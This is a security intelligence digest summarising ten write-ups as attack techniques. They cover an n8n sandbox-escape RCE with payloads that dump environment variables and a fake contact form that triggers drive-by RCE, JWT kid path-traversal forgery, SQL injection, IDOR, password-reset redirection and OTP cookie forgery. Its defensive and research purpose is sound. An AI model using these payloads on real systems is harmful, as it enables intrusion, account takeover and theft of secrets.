ETX Signal-X

Daily Intelligence Digest

Saturday, February 7, 2026

10	16
ARTICLES	TECHNIQUES

Article 1

A Deep Dive into CVE-2026-25049: n8n Remote Code Execution

Source: threatable

Date:

URL: https://blog.securelayer7.net/cve-2026-25049/

T1 JavaScript Destructuring Bypass for Function Constructor Access

💉 Payload

```
={{(() => { const { constructor } = () => {}; return constructor('return 2+2')(); })()}}
```

⚔️ Attack Chain

1. Create a workflow in n8n with a node that allows JavaScript expression evaluation (e.g., Set node).
2. Use the destructuring assignment within an arrow function to extract the `constructor` property from a new function instance.
3. Invoke the extracted `constructor` to create a new Function object, enabling arbitrary JavaScript execution.
4. Return the result of the executed code (e.g., `2+2` yields `4`).

🔍 Discovery

Exhaustive testing of blocked property access patterns (dot notation, bracket notation, computed access, prototype chain) followed by source code review. The researcher identified that n8n's regex-based sanitizer only blocked ".constructor" and missed destructuring patterns, leading to the discovery of this bypass.

🔓 Bypass

Sanitizer only blocked MemberExpression access to "constructor" (dot/bracket notation), but destructuring via `const { constructor } = () => {}` was not detected by any of the five security layers.

🔗 Chain With

Can be chained with any n8n node that allows expression evaluation. Enables arbitrary JS execution, which can be escalated to OS command execution, environment variable exfiltration, or persistent backdoor installation.

T2 Unauthenticated Remote Code Execution via Public Webhook

💉 Payload

```
curl -X POST 'http://your-n8n-server.com/webhook/rce-demo' \
-H 'Content-Type: application/json' \
--data '{}'
```

⚔️ Attack Chain

1. Create a workflow in n8n with a Webhook node configured for public access (authentication: none).
2. Add a Set node that uses the destructuring Function constructor payload to execute arbitrary JS.
3. Connect a Respond to Webhook node to return the output.
4. Activate the workflow.
5. Trigger the webhook endpoint from anywhere on the internet (no authentication required).
6. Arbitrary code is executed on the server, and the result is returned in the HTTP response.

🔍 Discovery

Recognized that public webhooks in n8n can be configured with no authentication, dramatically lowering the barrier for exploitation. Combined with the destructuring bypass, this enables unauthenticated RCE.

🔓 Bypass

No authentication required for the webhook endpoint; the workflow executes attacker-supplied code via the destructuring Function constructor payload.

🔗 Chain With

Can be used for mass exploitation, social engineering (e.g., weaponized chatbots), and lateral movement into connected services (databases, APIs, etc.).

T3 Exfiltration of Environment Variables and Sensitive Files

💉 Payload

````
Exfiltrate environment variables:
```
={{(() => { const {constructor} = ()=>{}; return constructor('return JSON.stringify(this.pr
ocess.env)')(); })()}}
```
````

⚔️ Attack Chain

1. Use the destructuring Function constructor payload in a Set node within a public webhook-enabled workflow.
2. For environment variable exfiltration, execute `JSON.stringify(this.process.env)` and return the result.
3. For database theft, use Node.js `fs` module to read the SQLite database file and encode it in base64.
4. Trigger the workflow via HTTP POST to the webhook endpoint.
5. Receive exfiltrated data in the HTTP response.

🔍 Discovery

After confirming arbitrary JS execution, the researcher tested payloads for sensitive data exfiltration, including environment variables and file system access.

🔓 Bypass

Bypassing all five security layers via destructuring, enabling access to Node.js internals and file system APIs.

🔗 Chain With

Facilitates credential theft, persistent compromise (backdoor installation), and full data exfiltration. Can be chained with lateral movement to other services via stolen secrets.

T4 Mass Exploitation via Weaponized Frontend (Drive-by RCE)

💉 Payload

```
<!-- Fake "Contact Form" -->
<form id="contact">
<input name="message" placeholder="Your message">
<button>Send</button>
</form>
<script>
document.getElementById('contact').onsubmit = async (e) => {
e.preventDefault();
// User thinks they're sending a contact form
// Actually triggering RCE on n8n server!
await fetch('http://victim-n8n.com/webhook/rce-demo', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ message: e.target.message.value })
});
alert('Message sent!'); // User is none the wiser
};
</script>
```

⚔️ Attack Chain

1. Host a malicious website with a form that triggers a POST request to the victim's n8n public webhook endpoint.
2. Unsuspecting users submit the form, believing it's a legitimate action.
3. The form submission triggers the n8n workflow, executing arbitrary code on the server.
4. Attacker receives output or achieves compromise without user awareness.

🔍 Discovery

Demonstrated as a real-world scenario for exploiting the unauthenticated webhook RCE at scale, leveraging social engineering and drive-by techniques.

🔓 Bypass

No authentication or user awareness required; exploitation is triggered by frontend interaction.

🔗 Chain With

Enables mass exploitation, botnet-style attacks, and integration with phishing/social engineering campaigns. Can be chained with other payloads for persistent compromise or data exfiltration.

T5 Blind Spot in Multi-Layered Security Controls (AST/Regex/Runtime)

💉 Payload

```
const {constructor} = obj // Not blocked
```

⚔️ Attack Chain

1. Security layers (regex, AST, runtime, property removal) only block direct and bracket access to "constructor".
2. Destructuring assignment via ObjectPattern is not detected by any layer.
3. Attacker uses destructuring to extract "constructor" and achieve arbitrary code execution.

🔍 Discovery

Source code review and threat modeling analysis revealed that all security layers shared the same blind spot, failing to account for destructuring assignment.

🔓 Bypass

Each security layer evaluated the input in isolation, missing the destructuring pattern. No layer flagged the payload as dangerous, enabling full bypass.

🔗 Chain With

This pattern can be generalized to other platforms/languages that rely on incomplete property access sanitization. Enables discovery of similar bypasses in other JS-based expression evaluators.

Article 2

23.5 Lab: User ID controlled by request parameter with password disclosure | 2023

Source: securitycipher

Date: 18-Nov-2023

URL: https://cyberw1ng.medium.com/23-5-lab-user-id-controlled-by-request-parameter-with-password-disclosure-2023-ad748d1daa9e

T1 User ID Parameter Manipulation for Password Disclosure

💉 Payload

```
?id=administrator
```

⚔️ Attack Chain

1. Log in to the application using valid user credentials (`wiener:peter`).
2. Navigate to the user account page, which displays the current user's password in a masked input field.
3. Modify the `id` parameter in the account page URL from the current user to `administrator` (e.g., `/account?id=administrator`).
4. The page loads the administrator's account details, including the administrator's password in the masked input field.
5. Right-click on the password field and select "Reveal Password" or use browser "Inspect" to view the actual password value.
6. Copy the administrator's password for further exploitation.

🔍 Discovery

Researcher noticed the password field was prefilled and suspected the account page might use a controllable `id` parameter. Changing the parameter revealed another user's (administrator's) password.

🔓 Bypass

No authentication or authorization checks on the `id` parameter; direct parameter manipulation bypasses access control.

🔗 Chain With

Can be chained with privilege escalation (using the disclosed password to log in as administrator) and further admin-level actions (e.g., deleting users).

T2 Privilege Escalation via Stolen Credentials

💉 Payload

```
[Administrator password obtained from Technique 1]
```

⚔️ Attack Chain

1. Use the administrator password obtained from the previous technique to log in as the administrator.
2. Access the admin panel with elevated privileges.
3. Perform sensitive actions, such as deleting the user `carlos`.

🔍 Discovery

Triggered by successful password extraction via parameter manipulation; logical next step was to use the credentials for privilege escalation.

🔓 Bypass

Application does not detect or prevent login using credentials obtained via parameter tampering; no additional verification or anomaly detection.

🔗 Chain With

Allows full admin account takeover, lateral movement, and execution of any privileged actions available to the administrator account.

Article 3

22.6 Lab: JWT authentication bypass via kid header path traversal

Source: securitycipher

Date: 19-May-2024

URL: https://cyberw1ng.medium.com/22-6-lab-jwt-authentication-bypass-via-kid-header-path-traversal-3f4392547f7d

T1 JWT Authentication Bypass via kid Header Path Traversal

💉 Payload

```
"kid": "../../../../../../../dev/null"
```

⚔️ Attack Chain

1. Log in to a user account (e.g., wiener:peter) and intercept the JWT issued post-login.
2. In the JWT header, set the `kid` parameter to a path traversal sequence pointing to `/dev/null`: `../../../../../../../dev/null`.
3. In the JWT payload, set the `sub` claim to `administrator`.
4. Sign the JWT using a symmetric key with the value of a Base64-encoded null byte (`AA==`).
5. Send the forged JWT in a request to `/admin` to gain admin access.
6. Use the forged JWT to send a request to `/admin/delete?username=carlos` and successfully delete the user `carlos`.

🔍 Discovery

Analysis of the lab's JWT validation logic revealed that the server uses the `kid` value to fetch keys from the filesystem. Path traversal in the `kid` header was hypothesized and tested, leveraging Burp Suite's JWT Editor extension for payload crafting.

🔓 Bypass

The server's JWT validation fetches the key file based on the `kid` value. By setting `kid` to a path traversal pointing to `/dev/null` and signing with a null byte key, the server accepts the JWT as valid, bypassing normal authentication controls.

🔗 Chain With

Can be chained with privilege escalation by modifying claims (e.g., `sub` to `administrator`). Potential for lateral movement if other sensitive files are accessible via path traversal in `kid`. May enable chaining with other filesystem-based vulnerabilities (e.g., LFI, arbitrary file read/write if key loading is not sanitized).

T2 JWT Signature Forgery with Null Byte Key

💉 Payload

```
Base64-encoded null byte symmetric key: "AA=="
```

⚔️ Attack Chain

1. Generate a new symmetric key in Burp Suite's JWT Editor Keys tab.
2. Set the key value (`k`) to a Base64-encoded null byte (`AA==`).
3. Use this key to sign the forged JWT with arbitrary claims (e.g., `sub: administrator`).
4. The server, when pointed to `/dev/null` via the `kid` header, uses the null byte as the signing key and accepts the JWT as valid.

🔍 Discovery

Testing the server's key loading logic revealed that `/dev/null` can be used as a key file, which results in a null byte key. The JWT Editor's ability to generate and use arbitrary symmetric keys enabled this attack vector.

🔓 Bypass

The server does not validate the contents of the key file and accepts a null byte as a valid signing key, allowing attackers to forge JWTs with any claims.

🔗 Chain With

Enables privilege escalation by forging tokens with elevated claims. Can be combined with other JWT header manipulation techniques for further bypasses.

Article 4

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, a SQL injection vulnerability can occur in user::maintains() when role filters are provided as an array and interpolated into an IN (...) clause. This issue

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-xw9g-5gr2-c44f

T1 SQL Injection via Array Interpolation in Role IN() Filter

💉 Payload

```
role = ["admin') OR 1=1 -- "]
```

⚔️ Attack Chain

1. Identify any functionality that calls `user::maintains()` and allows user-controlled input for the `role` parameter.
2. Supply an array for the `role` parameter containing a malicious string such as `admin') OR 1=1 -- `.
3. The backend code uses `implode()` to join the array and interpolates it directly into the SQL query's `IN (...)` clause, without parameter binding.
4. The resulting SQL query becomes vulnerable to injection, allowing execution of arbitrary SQL commands.

🔍 Discovery

Manual code review of `include/pear-database-user.php` revealed that when `$role` is an array, its values are directly joined and interpolated into the SQL query, with no sanitization or parameterization. The researcher specifically targeted areas where arrays were used in SQL construction.

🔓 Bypass

The vulnerability only triggers when the `role` parameter is an array. Single string values do not expose the injection vector. Bypasses standard sanitization by leveraging array input and lack of parameter binding.

🔗 Chain With

Can be chained with authentication bypass if role checks are used for access control. Potential for privilege escalation if attacker can inject roles to impersonate other users or escalate privileges. May be chained with further SQLi payloads for data exfiltration or remote code execution if database permissions allow.

Article 5

0 Click Account Takeover Via reset password weird behavior

Source: securitycipher

Date: 08-Mar-2024

URL: https://medium.com/@0xSnowmn/0-click-account-takeover-via-reset-password-weird-behavior-026846e5f850

T1 Local Storage Manipulation for Zero-Click Account Takeover via Password Reset

💉 Payload

```
localStorage.setItem('user_email', 'attacker@example.com')
```

⚔️ Attack Chain

1. Navigate to the password reset page and submit the victim's email address (e.g., victim@example.com).
2. Wait for the initial password reset email to be sent to the victim.
3. Open browser developer tools, go to Local Storage, and locate the `user_email` field.
4. Change the value of `user_email` from the victim's email to the attacker's email (e.g., attacker@example.com).
5. Reload the page and click the "Resend email" button.
6. The application sends a password reset link for the victim's account to the attacker's email address.
7. Use the reset link received in the attacker's inbox to reset the victim's password and take over the account.

🔍 Discovery

Manual inspection of browser local storage fields during password reset flow. Noticed that changing `user_email` in local storage reflected immediately in the UI, prompting further testing of the resend logic.

🔓 Bypass

The application uses the email value from `user_email` in local storage when resending the password reset email, but ties it to the user ID stored in a separate token field. This allows an attacker to redirect password reset emails for any account to an arbitrary email address by manipulating local storage, bypassing intended access controls.

🔗 Chain With

Combine with email enumeration to mass-takeover accounts without user interaction. Use with session fixation or other local storage manipulation bugs for broader account compromise. Potential for automation to harvest reset tokens for many users if rate limiting is absent.

Article 6

How I Found a Critical 2FA Misconfiguration and Earned a $2000 Bug Bounty

Source: securitycipher

Date: 23-Dec-2025

URL: https://medium.com/@ravindrajatav0709/how-i-found-a-critical-2fa-misconfiguration-and-earned-a-2000-bug-bounty-d1ed934dffec

T1 2FA Phone Number Reuse Leading to Account Takeover

💉 Payload

```
Victim's phone number reused during 2FA setup on a second account
```

⚔️ Attack Chain

1. Register two separate accounts on the target application.
2. Enable 2FA on the first account using a specific phone number (victim's number).
3. Log in to the second account (attacker account).
4. Navigate to the 2FA setup page.
5. Enter the same phone number that was used for 2FA on the first account.
6. Complete the 2FA setup process for the second account using the reused phone number.
7. Observe that the system does not warn or prevent the reuse, allowing the second account to take over 2FA for the victim account.

🔍 Discovery

Manual review of the 2FA setup flow revealed no uniqueness check for phone numbers. The researcher intentionally attempted to reuse a phone number already linked to another account.

🔓 Bypass

The application failed to enforce uniqueness of phone numbers for 2FA, allowing attackers to bind a victim's phone number to their own account and disrupt or take over the victim's 2FA protection.

🔗 Chain With

This logic flaw can be chained with: Account recovery flows that rely on phone-based 2FA, enabling full account takeover. Social engineering attacks, as the attacker can intercept or trigger 2FA codes to the victim's phone, causing confusion or lockout. Automated attacks against bulk accounts if phone number enumeration is possible.

Article 7

Self-XSS to ATO via Quick Login feature

Source: securitycipher

Date: 09-Sep-2024

URL: https://thecatfather.medium.com/self-xss-to-ato-via-quick-login-feature-532df12d1c08

⚠️ No actionable techniques found

Article 8

Win the Race | Exploiting Race Condition Vulnerability

Source: securitycipher

Date: 01-Jan-2025

URL: https://medium.com/codingninjablogs/win-the-race-exploiting-race-condition-vulnerability-21ba7297f039

T1 Parallel Request Race Condition to Bypass Resource Limits

💉 Payload

```
[No raw HTTP request provided; technique involves capturing the legitimate resource creation request (e.g., project creation), then sending multiple identical requests in parallel using BurpSuite Repeater's "Send Group in parallel" feature.]
```

⚔️ Attack Chain

1. Log in as a user subject to a business logic restriction (e.g., free user limited to 1 project).
2. Create the allowed resource (e.g., 1 project).
3. Delete the resource to reset the state.
4. Capture the resource creation request in BurpSuite Repeater.
5. Duplicate the request multiple times (e.g., 4 tabs).
6. Add all duplicated requests to a group in BurpSuite.
7. Send the group requests in parallel using "Send Group in parallel".
8. Refresh the dashboard; observe that more than the allowed number of resources have been created.

🔍 Discovery

Manual business logic review of resource restrictions, followed by testing concurrent requests using BurpSuite Repeater's parallel group send feature.

🔓 Bypass

The application fails to lock or atomically check resource limits during concurrent requests, allowing multiple creations within the race window.

🔗 Chain With

Can be chained with privilege escalation (if resource grants elevated access), quota exhaustion, or financial abuse (e.g., coupon codes, free trials, account upgrades).

Article 9

Undeleted Secrets: Uncovering an IDOR Vulnerability in “Recently Deleted” Items

Source: securitycipher

Date: 06-May-2025

URL: https://medium.com/@0x1di0t/undeleted-secrets-uncovering-an-idor-vulnerability-in-recently-deleted-items-6d35db221008

T1 Unauthorized Access to Soft-Deleted Items via Direct Endpoint

💉 Payload

```
GET /api/posts/4421
```

⚔️ Attack Chain

1. Create a post or file as a normal user.
2. Delete the item using the application's UI, moving it to the "Recently Deleted" section.
3. Intercept the deletion request and note the response indicating a "soft_deleted" status.
4. Directly access the deleted item's endpoint via its ID (e.g., `/api/posts/4421`).
5. Observe that the deleted item is still fully accessible, despite its "deleted" status in the UI.

🔍 Discovery

Noticed the "soft_deleted" status in API response after intercepting deletion request; hypothesized backend might not enforce access control on deleted items; tested direct access to endpoint.

🔓 Bypass

Soft deletion only flags the item as deleted in the backend, but does not restrict access; direct GET requests to the resource bypass UI restrictions.

🔗 Chain With

Can be chained with privilege escalation or enumeration techniques to access sensitive data across users if IDs are predictable.

T2 Cross-User IDOR on Soft-Deleted Items via ID Manipulation

💉 Payload

```
GET /api/posts/4422
```

⚔️ Attack Chain

1. Identify the endpoint for deleted items (e.g., `/api/posts/{id}`).
2. Change the ID in the endpoint to that of another user's deleted item (e.g., from 4421 to 4422).
3. Send a GET request to the modified endpoint.
4. Receive the full contents of another user's deleted item, confirming lack of authorization checks.

🔍 Discovery

After confirming own deleted item was accessible, incremented the resource ID to target another user's deleted content; observed successful unauthorized access.

🔓 Bypass

No authorization enforced on access to soft-deleted resources; ID manipulation allows access to any user's deleted items.

🔗 Chain With

Can be chained with user enumeration, brute-forcing, or automated scraping to harvest sensitive data from multiple users; potential for lateral movement if deleted items contain credentials or secrets.

Article 10

OTP Bypass through Session Manipulation

Source: securitycipher

Date: 24-Jun-2024

URL: https://medium.com/@n4if/otp-bypass-through-session-manipulation-d73deceaa42f

T1 OTP Bypass via Crafted Session Cookie

💉 Payload

```
Set-Cookie: SESSID=QlZOWEY3MTIzNDcyNA==
```

⚔️ Attack Chain

1. Log in with valid credentials to reach the OTP verification page.
2. Submit any (invalid) OTP value in the "VerC" field and intercept the POST request.
3. Extract PIDM and WEBID values from the intercepted request or session.
4. Concatenate WEBID and PIDM (e.g., BVNXF7 + 1234724 → BVNXF71234724).
5. Encode the concatenated string using Base64 (e.g., BVNXF71234724 → QlZOWEY3MTIzNDcyNA==).
6. Intercept the server's response and inject the crafted cookie:
7. Allow the client to follow the redirect to `/app/dashboard?welcome=true`.
8. Access is granted without valid OTP verification.

🔍 Discovery

Observed that the server crafts session cookies using PIDM and WEBID after a valid OTP submission. Decoded the session cookie to confirm its structure, then manually replicated the process using arbitrary values and response manipulation.

🔓 Bypass

OTP validation is bypassed because the session cookie is accepted if it matches the expected format (Base64 of WEBID+PIDM), regardless of OTP correctness. The server does not verify the OTP if the session cookie is present and correctly formed.

🔗 Chain With

Combine with account enumeration to target specific users. Use in conjunction with session fixation or privilege escalation if session cookies grant elevated access. Potential for full account takeover if additional session attributes are predictable or manipulable.